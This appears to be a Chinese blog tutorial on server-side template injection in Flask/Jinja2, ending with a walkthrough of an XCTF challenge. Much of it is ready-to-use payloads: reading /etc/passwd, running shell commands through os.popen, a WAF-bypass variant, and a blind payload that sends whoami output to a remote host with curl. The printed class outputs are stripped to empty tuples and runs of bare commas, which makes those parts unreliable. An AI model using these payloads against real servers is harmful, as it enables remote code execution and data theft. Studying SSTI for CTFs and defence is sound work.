目录

基础知识

python类方法

内建函数

获取基类的几种方法

常见payload

利用思路

概念简介

服务器端模板注入(Server-Side Template Injection)

类型判断

简单探测

实战练习

reference

基础知识

python类方法

__class__

用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。 __class__ 是类的一个内置属性,表示类的类型;也是类的实例的属性,表示实例对象的类。

print(''.__class__)

print(type(""))

class test():

pass

class test2():

pass

t1=test()

t2=test2()

print(t1.__class__)

print(t2.__class__)

 

__bases__

用来查看类的基类,也可以使用数组索引来查看特定位置的值。通过该属性可以查看该类的所有直接父类,该属性返回所有直接父类组成的元组(虽然只有一个元素)。注意是直接父类!

print([].__class__.__bases__)

 (,)

class test():

pass

class test2(test):

pass

t1=test()

t2=test2()

t3=test2()

t4=test()

print(t2.__class__.__bases__)

print(test2.__bases__)

(,)

(,)

__mro__

__mro__方法可以用来获取一个类的调用顺序

print(''.__class__.__mro__)

(, )

class test():

pass

class test2(test):

pass

t1=test()

t2=test2()

print(t1.__class__.__mro__)

print(test2.__mro__)

 (, ) (, , )

__subclasses__()

当前类的子类组成的列表,即返回基类object的子类

for i in enumerate([].__class__.__bases__[0].__subclasses__()):

print(i)

class test():

pass

class test2(test):

pass

class test3(test):

pass

t1=test()

t2=test2()

t3=test3()

print(t1.__class__.__subclasses__())

print(test2.__subclasses__())

 [, ] []

内建函数

当我们启动一个 python 解释器时,即时没有创建任何变量或者函数,还是会有很多函数可以使用,我们称之为内建函数。

内建函数并不需要我们自己做定义,而是在启动 python 解释器的时候,就已经导入到内存中供我们使用,想要了解这里面的工作原理,我们可以从名称空间开始。

__builtins__

内建函数,python中可以直接运行一些函数,例如int(),list()等等,这些函数可以在__builtins__中可以查到。查看的方法是dir(__builtins__)

print(dir(__builtins__))

__globals__

__globals__ 对包含函数全局变量的字典的引用

该方法会以字典的形式返回当前位置的所有全局变量,与 func_globals 等价。该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了 os、sys 等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用 globals 属性访问全局的变量。该属性保存的是函数全局变量的字典引用。

获取基类的几种方法

[].__class__.__base__

''.__class__.__mro__[2]

().__class__.__base__

{}.__class__.__base__

request.__class__.__mro__[8]   //针对jinjia2/flask为[9]适用

或者

[].__class__.__bases__[0] //其他的类似

for i in enumerate([].__class__.__base__.__subclasses__()):

print(i)

在py2环境

用file读取文件

>>> ().__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

#!/usr/bin/env python

# encoding: utf-8

num = 0

for item in ''.__class__.__mro__[2].__subclasses__():

try:

if 'os' in item.__init__.__globals__:

print num,item

num+=1

except:

num+=1

python2 a.py  71 76

().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls /')

[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls /')

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()

#把 read() 改为 write() 就是写文件

读取目录

().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')

 shell命令执行

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')

常见payload

文件读取

# python3

{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('1.py').read()}}

# python2

{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

命令执行

# Python3

{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

# Python2

{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

绕过waf

[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read()

过滤{{或者}}

可以使用{%绕过

{%%}中间可以执行if语句,利用这一点可以进行类似盲注的操作或者外带代码执行结果

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://ip:端口/?i=`whoami`').read()=='p' %}1{% endif %}

利用思路

这样我们在进行 SSTI 注入的时候就可以通过这种方式使用很多的类和方法,通过子类再去获取子类的子类、更多的方法,找出可以利用的类和方法加以利用。

总之,是通过 python 的对象的继承来一步步实现文件读取和命令执行的:

找到父类 ---> 寻找子类 ---> 找关于命令执行或者文件操作的模块。

概念简介

服务器端模板注入(Server-Side Template Injection)

模板注入 ——SSTI 存在于 MVC 模式当中的 View 层;M 为 Model 数据层,V 为 View 视图层;C 为 Controller 控制层。而 SSTI 就存在于 View 视图层当中。

当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。

类型判断

主要的框架

Python:jinja2、 mako、 tornado、 djangophp:smarty、 twigjava:jade、 velocity

简单探测

通过注入模板表达式中常用的特殊字符来尝试模糊模板 ————这也被称作 fuzz 测试

实战练习

题目来源:XCTF.Web_python_template_injection

打开题目,尝试发现输入路由为index.html回显如下信息,看来路由位置的参数可控

这里大胆猜测源码

from flask import Flask

from flask import render_template_string

from flask import request

app = Flask(__name__)

@app.route("/")

def test():

code1 = request.args.get('id')

html='

{{code}}

'

return render_template_string(html,code=code1)

app.run()

找到当前变量所在的类

{{''.__class__}}

追踪上面的所有父类

{{''.__class__.__mro__}}

(, , )

找object可用引用

{{''.__class__.__mro__[2].__subclasses__()}}

找到我们想要的os所在的site._Printer类

a=''', , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , '''

a=a.split(',')

num=0

for i in a:

if '' in i:

print(num)

num += 1

返回值为71

利用os模块执行命令

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat ./fl4g').read()}}

{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

reference

https://www.mondayice.com/2021/06/15/flask-jinja2-ssti/

https://www.cnblogs.com/cioi/p/12308518.html#a1

相关文章

评论可见,请评论后查看内容,谢谢!!!评论后请刷新页面。